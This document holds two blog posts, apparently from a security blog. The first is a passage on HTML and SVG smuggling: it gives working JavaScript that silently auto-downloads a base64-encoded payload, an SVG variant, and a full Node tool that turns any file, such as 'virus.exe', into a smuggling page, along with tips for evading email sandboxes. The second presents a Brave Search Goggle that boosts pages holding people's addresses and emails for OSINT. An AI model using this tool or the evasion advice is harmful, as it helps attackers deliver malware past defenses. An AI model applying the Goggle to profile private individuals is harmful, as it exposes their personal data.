The implications of HTML and SVG smuggling are serious business. It’s a wake-up call for organizations to beef up their security game with a multi-layered approach. But it’s not just about installing fancy software—it’s also about educating users and keeping them on their toes. With hackers getting sneakier by the day, we need to stay one step ahead to keep our digital fortresses secure.

The Battle Continues

In the ever-evolving world of cybersecurity, HTML and SVG smuggling are the new kids on the block, posing a serious challenge for defenders. But fear not, fellow warriors! By staying informed, adapting our defenses, and collaborating with our peers, we can turn the tide against these digital infiltrators. So let’s roll up our sleeves and get ready to face whatever challenges come our way.

Enough theory and talk, let us get dirty ! 🏴‍☠️

Being malicious

At this point I would like to remind you of my Disclaimer, again 😁.

I prepared a demo using a simple Cloudflare Pages website, the payload being downlaoded is an EICAR test file.

Here is the Page: HTML Smuggling Demo <- Clicking this will download an EICAR test file onto your computer, if you read the Wikipedia article above you understand that this could trigger your Anti-Virus (it should).

Here is the code (i cut part of the payload out or it would get too big):
```
<body>
  <script>
    function base64ToArrayBuffer(base64) {
      var binary_string = window.atob(base64);
      var len = binary_string.length;

      var bytes = new Uint8Array(len);
      for (var i = 0; i < len; i++) {
        bytes[i] = binary_string.charCodeAt(i);
      }
      return bytes.buffer;
    }

    var file = "BASE64_ENCODED_PAYLOAD";
    var data = base64ToArrayBuffer(file);
    var blob = new Blob([data], { type: "octet/stream" });
    var fileName = "eicar.com";

    if (window.navigator.msSaveOrOpenBlob) {
      window.navigator.msSaveOrOpenBlob(blob, fileName);
    } else {
      var a = document.createElement("a");
      console.log(a);
      document.body.appendChild(a);
      a.style = "display: none";
      var url = window.URL.createObjectURL(blob);
      a.href = url;
      a.download = fileName;
      a.click();
      window.URL.revokeObjectURL(url);
    }
  </script>
</body>
```
This will create an auto clicked link on the page, which looks like this:
```
<a href="blob:https://2cdcc148.fck-vp.pages.dev/dbadccf2-acf1-41be-b9b7-7db8e7e6b880" download="eicar.com" style="display: none;"></a
```
This HTML smuggling at its most basic. Just take any file, encode it in base64, and insert the result into var file = "BASE64_ENCODED_PAYLOAD";. Easy peasy, right? But beware, savvy sandbox-based systems can sniff out these tricks. To outsmart them, try a little sleight of hand. Instead of attaching the encoded HTML directly to an email, start with a harmless-looking link. Then, after a delay, slip in the “payloaded” HTML. It’s like sneaking past security with a disguise. This delay buys you time for a thorough scan, presenting a clean, innocent page to initial scanners.

By playing it smart, you up your chances of slipping past detection and hitting your target undetected. But hey, keep in mind, not every tactic works every time. Staying sharp and keeping up with security measures is key to staying one step ahead of potential threats.

Advanced Smuggling

If you’re an analyst reading this, you’re probably yawning at the simplicity of my example. I mean, come on, spotting that massive base64 string in the HTML is child’s play for you, right? But fear not, there are some nifty tweaks to spice up this technique. For instance, ever thought of injecting your code into an SVG?
```
<svg
  xmlns="http://www.w3.org/2000/svg"
  xmlns:xlink="http://www.w3.org/1999/xlink"
  version="1.0"
  width="100"
  height="100"
>
  <circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red" />
  <script>
    <![CDATA[document.addEventListener("DOMContentLoaded",function(){function base64ToArrayBuffer(base64){var binary_string=atob(base64);var len=binary_string.length;var bytes=new Uint8Array(len);for(var i=0;i<em><</em>len;i++){bytes[i]=binary_string.charCodeAt(i);}return bytes.buffer;}var file='BASE64_PAYLOAD_HERE';var data=base64ToArrayBuffer(file);var blob=new Blob([data],{type:'octet/stream'});var fileName='karl.webp';var a=document.createElementNS('http://www.w3.org/1999/xhtml','a');document.documentElement.appendChild(a);a.setAttribute('style','display:none');var url=window.URL.createObjectURL(blob);a.href=url;a.download=fileName;a.click();window.URL.revokeObjectURL(url);});]]>
  </script>
</svg>
```
You can stash the SVG in a CDN and have it loaded at the beginning of your page. It’s a tad more sophisticated, right? Just a tad.

Now, I can’t take credit for this genius idea. Nope, the props go to Surajpkhetani, his tool also gave me the idea for this post. I decided to put my own spin on it and rewrote his AutoSmuggle Tool in JavaScript. Why? Well, just because I can. I mean, I could have gone with Python or Go… and who knows, maybe I will someday. But for now, here’s the JavaScript code:
```
const fs = require("fs");

function base64Encode(plainText) {
  return Buffer.from(plainText).toString("base64");
}

function svgSmuggle(b64String, filename) {
  const obfuscatedB64 = b64String;
  const svgBody = `<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" width="100" height="100"><circle cx="50" cy="50" r="40" stroke="black" stroke-width="3" fill="red"/><script><![CDATA[document.addEventListener("DOMContentLoaded",function(){function base64ToArrayBuffer(base64){var binary_string=atob(base64);var len=binary_string.length;var bytes=new Uint8Array(len);for(var i=0;i<len;i++){bytes[i]=binary_string.charCodeAt(i);}return bytes.buffer;}var file='${obfuscatedB64}';var data=base64ToArrayBuffer(file);var blob=new Blob([data],{type:'octet/stream'});var fileName='${filename}';var a=document.createElementNS('http://www.w3.org/1999/xhtml','a');document.documentElement.appendChild(a);a.setAttribute('style','display:none');var url=window.URL.createObjectURL(blob);a.href=url;a.download=fileName;a.click();window.URL.revokeObjectURL(url);});]]></script></svg>`;
  const [file2, file3] = filename.split(".");
  fs.writeFileSync(`smuggle-${file2}.svg`, svgBody);
}

function htmlSmuggle(b64String, filename) {
  const obfuscatedB64 = b64String;
  const htmlBody = `<html><body><script>function base64ToArrayBuffer(base64){var binary_string=atob(base64);var len=binary_string.length;var bytes=new Uint8Array(len);for(var i=0;i<len;i++){bytes[i]=binary_string.charCodeAt(i);}return bytes.buffer;}var file='${obfuscatedB64}';var data=base64ToArrayBuffer(file);var blob=new Blob([data],{type:'octet/stream'});var fileName='${filename}';if(window.navigator.msSaveOrOpenBlob){window.navigator.msSaveOrOpenBlob(blob,fileName);}else{var a=document.createElement('a');console.log(a);document.body.appendChild(a);a.style='display:none';var url=window.URL.createObjectURL(blob);a.href=url;a.download=fileName;a.click();window.URL.revokeObjectURL(url);}</script></body></html>`;
  const [file2, file3] = filename.split(".");
  fs.writeFileSync(`smuggle-${file2}.html`, htmlBody);
}

function printError(error) {
  console.error("\x1b[31m%s\x1b[0m", error);
}

function main(args) {
  try {
    let inputFile, outputType;
    for (let i = 0; i < args.length; i++) {
      if (args[i] === "-i" && args[i + 1]) {
        inputFile = args[i + 1];
        i++;
      } else if (args[i] === "-o" && args[i + 1]) {
        outputType = args[i + 1];
        i++;
      }
    }

    if (!inputFile || !outputType) {
      printError(
        "[-] Invalid arguments. Usage: node script.js -i inputFilePath -o outputType(svg/html)"
      );
      return;
    }

    console.log("[+] Reading Data");
    const streamData = fs.readFileSync(inputFile);
    const b64Data = base64Encode(streamData);
    console.log("[+] Converting to Base64");

    console.log("[*] Smuggling in", outputType.toUpperCase());
    if (outputType === "html") {
      htmlSmuggle(b64Data, inputFile);
      console.log("[+] File Written to Current Directory...");
    } else if (outputType === "svg") {
      svgSmuggle(b64Data, inputFile);
      console.log("[+] File Written to Current Directory...");
    } else {
      printError(
        "[-] Invalid output type. Only 'svg' and 'html' are supported."
      );
    }
  } catch (ex) {
    printError(ex.message);
  }
}

main(process.argv.slice(2));
```
Essentially it generates you HTML pages or SVG “images” simply by going:
```
node autosmuggler.cjs -i virus.exe -o html
```
I’ve dubbed it HTMLSmuggler. Swing by my GitHub to grab the code and take a peek. But hold onto your hats, because I’ve got big plans for this little tool.

In the pipeline, I’m thinking of ramping up the stealth factor. Picture this: slicing and dicing large files into bite-sized chunks like JSON, then sneakily loading them in once the page is up and running. Oh, and let’s not forget about auto-deleting payloads and throwing in some IndexedDB wizardry to really throw off those nosy analysts.

I’ve got this wild notion of scattering the payload far and wide—some bits in HTML, others in JS, a few stashed away in local storage, maybe even tossing a few crumbs into a remote CDN or even the URL itself.

The goal? To make this baby as slippery as an eel and as light as a feather. Because let’s face it, if you’re deploying a dropper, you want it to fly under the radar—not lumber around like a clumsy elephant.

The End

Whether you’re a newbie to HTML smuggling or a seasoned pro, I hope this journey has shed some light on this sneaky technique and sparked a few ideas along the way.

Thanks for tagging along on this adventure through my musings and creations. Until next time, keep those creative juices flowing and stay curious! 🫡
2025-01-06
Using Brave Search Goggles for Recon
Introduction

The world’s most potent OSINT (Open Source Intelligence) tools are search engines. They collect, index, and aggregate all the freely available information on the internet, essentially encapsulating the world’s knowledge. Nowadays, the ability to enter a topic in a search bar and receive results within milliseconds is often taken for granted. Personally, I’ve developed a profound appreciation for this technology by constructing my own search engines from scratch using Golang. But let’s dive into our topic – have you ever tried Googling your own name?

Brave Search

Today, I want to shine a light on Brave Search (Brave Search docs). In 2022, Brave introduced a remarkable yet underappreciated feature known as Goggles. Described on the Brave Goggles website as follows:

Goggles allow you to choose, alter, or extend the ranking of Brave Search results. Goggles are openly developed by the community of Brave Search users.

Here’s a straightforward example:
```
$boost=1,site=facebook.com
```
This essentially boosts search results found on the facebook.com domain, elevating them higher in the results. The syntax is straightforward and limited; you can find an overview here.

Pattern Matching:
- Plain-text pattern matching in URLs: /this/is/a/pattern
- Globbing capabilities using ’*’ to match zero, one, or more characters: /this/is/*/pattern
- Use of ’^’ to match URL delimiters or end-of-URL: /this/is/a/pattern^
Anchoring:
- Use of ’|’ character for prefix or suffix matches in URLs.
  - Prefix: |https://en.
  - Suffix: /some/path.html|
Options:
- ‘site=’ option to limit instructions to specific websites based on their domain: $site=brave.com
Actions:
- ‘boost’: Boost the ranking of matched results: /r/brave_browser/$boost or $boost=4,site=test.de
- ‘downrank’: Downrank the ranking of matched results: /r/google/$downrank
- ‘discard’: Completely discard matched results: /this/is/spam/$discard
Strength of Actions:
- Adjust the strength of boosting or downranking actions (limited to a maximum value of 10): /r/brave_browser/$boost=3
Combining Instructions:
- Combine multiple instructions to express complex reranking functions with a comma ”,”: /hacking/$boost=3,site=github.com
Finding Goggles

Now that you have a basic idea of how to construct Goggles, you can find prebuilt ones here.

A search for “osint” reveals my very own creation, the world’s first public 🎉 OSINT Goggle.

When building your own Goggle, it needs to be hosted on GitHub or Gitlab. I host mine here on GitHub.

DACH OSINT Goggle

Here’s my code:
```
! name: DACH OSINT
! description: OSINT Goggle for the DACH (Germany, Austria, and Switzerland) Region. Find out more on my blog [exploit.to](https://exploit.to/)
! public: true
! author: StasonJatham
! avatar: #ec4899

! German Platforms
$boost=4,site=telefonbuch.de
$boost=4,site=dastelefonbuch.de
$boost=4,site=northdata.de
$boost=4,site=unternehmensregister.de
$boost=4,site=firmen.wko.at

! Small boost for social media
$boost=1,site=facebook.com
$boost=1,site=twitter.com
$boost=1,site=linkedin.com
$boost=1,site=xing.com

! Online reviews
$boost=2,site=tripadvisor.de
$boost=2,site=tripadvisor.at
$boost=2,site=tripadvisor.ch

! Personal/Business contact information, path boost
/kontakt*$boost=3
/datenschutz*$boost=3
/impressum*$boost=3

! General boost, words included in pages
*mail*$boost=1,site=de
*mail*$boost=1,site=at
*mail*$boost=1,site=ch
*adresse*$boost=1,site=de
*adresse*$boost=1,site=at
*adresse*$boost=1,site=ch
*verein*$boost=1

! Personal email
*gmx*$boost=1
*web*$boost=1
*t-online*$boost=1
*gmail*$boost=1
*yahoo*$boost=1
*Postadresse*$boost=1
```
I believe it’s self-explanatory; the aim is to prioritize results that commonly contain personal information. However, it’s still a work in progress, and I plan to add more filters to these rules.

Rule Development

Rant Alert: Developing these rules can be quite frustrating. You have to push your rule to GitHub, then enter the URL in the Goggle upload and hope that you don’t encounter any cached results. The error messages received are often useless; most of the time, you just get something like “cannot compile.” In the future, I earnestly hope for an online editor or VSCode support. If the frustration persists, I might consider building it myself. Despite these challenges, writing these rules is generally straightforward.

Future

I hope the Brave team prioritizes this feature, and more people embrace it. They’ve hinted at more advanced filter rules akin to those found on Google, such as “intitle,” which, in my opinion, would make this the most powerful search engine on the planet.

I also intend to focus on malware research, aiming to refine searches to uncover information about whether a particular file, domain, or email is known to be malicious.

Please take a look at my Goggle and try it out for yourself. Provide feedback, spread the word, and create your own Goggles to give this feature the love it deserves.

The title image is by Brave Software, Inc. on Brave Search
2025-01-06